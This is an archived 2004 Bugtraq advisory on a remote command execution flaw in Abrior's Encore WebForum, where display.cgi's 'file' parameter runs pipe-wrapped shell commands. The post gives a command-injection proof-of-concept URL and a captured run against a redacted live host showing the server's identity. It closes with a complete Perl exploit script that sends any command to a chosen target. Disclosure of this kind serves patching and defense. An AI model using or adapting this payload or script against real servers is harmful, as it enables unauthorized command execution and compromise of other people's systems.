[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: Remote Exploit for Aborior's Encore Web Forum
From: "XNUXER RESEARCH" <xnuxer () hackermail ! com>
Date: 2004-04-03 6:47:52
Message-ID: 20040403064752.C65617A8C88 () ws4-4 ! us4 ! outblaze ! com
[Download RAW message or body]
==================================================================
Product : Abrior's Encore WebForum
Versions : Unchecked (maybe version I)
Bug : Remote Command Execution via Display.cgi
Impact : Attackers can execute remote command
Risk : Medium/High
Date : April 3, 2004
Bug found by : k159 from g-security (g-security.tk)
Reported & exploit by: Schizoprenic from Xnuxer Research Laboratory
Reference : http://www.infosekuriti.com
Email : xnuxer@yahoo.com, xnuxer@hackermail.com
==================================================================
Description
-------------
Bug exist in Abrior's Encore WebForum via display.cgi in forum root folder \
(forumcgi). Attacker can execute command via browser with doing request to \
display.cgi and launch command from "file" variable.
Proof Of Concept
----------------
http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname \
-a|
Exploit
-------
This exploit presented by Schizoprenic from Xnuxer Research Lab.
It just for education purpose only.
[xnuxer@Server xnuxer]$ perl xdisp.pl -t www.xxxxxxx.com -d /encore/forumcgi -c \
"uname -a;id;uptime;" Remote Exploit Aborior's Encore Web Forum by Schizoprenic
Xnuxer Research Laboratory (http://www.infosekuriti.com)
Target: www.xxxxxxx.com
Path Dir: /encore/forumcgi
Command: uname -a;id;uptime;
--------------------RESULT--------------------
Linux ns1.xxxxxxx.com 2.4.20-20.9.2INLDSmpIPvsDs #1 SMP Thu Dec 4 19:28:44 EST 2003 \
i686 i686 i386 GNU/Linux uid=48(apache) gid=48(apache) \
groups=48(apache),2523(psaserv),10044(webdev) 01:41:08 up 17 days, 6:00, 0 users, \
load average: 0.00, 0.03, 0.00
----------------------------------------------
Note: The real name of domain target in example protected for security reason.
############################################################
#!/usr/bin/perl -w
#
# Remote Exploit Aborior's Encore Web Forum by Schizoprenic
# Bug found by k-159 from g-security.tk
require LWP::UserAgent;
use Getopt::Std;
getopts('t:d:c:');
our($opt_t, $opt_d, $opt_c);
my $target = $opt_t;
my $dir = $opt_d;
my $cmd = $opt_c;
print "Remote Exploit Aborior's Encore Web Forum by Schizoprenic\n";
print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";
print "Target: $target\n";
print "Path Dir: $dir\n";
print "Command: $cmd\n";
my $ua = LWP::UserAgent->new;
$ua->agent("IE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;
$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";
my $response = $ua->get($req);
print "--------------------RESULT--------------------\n";
if ($response->is_success) {
print $response->content;
} else {
die $response->status_line;
}
print "----------------------------------------------\n";
# EOF by Xnuxer
--
_______________________________________________
Get your free email from http://www.hackermail.com
Powered by Outblaze
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic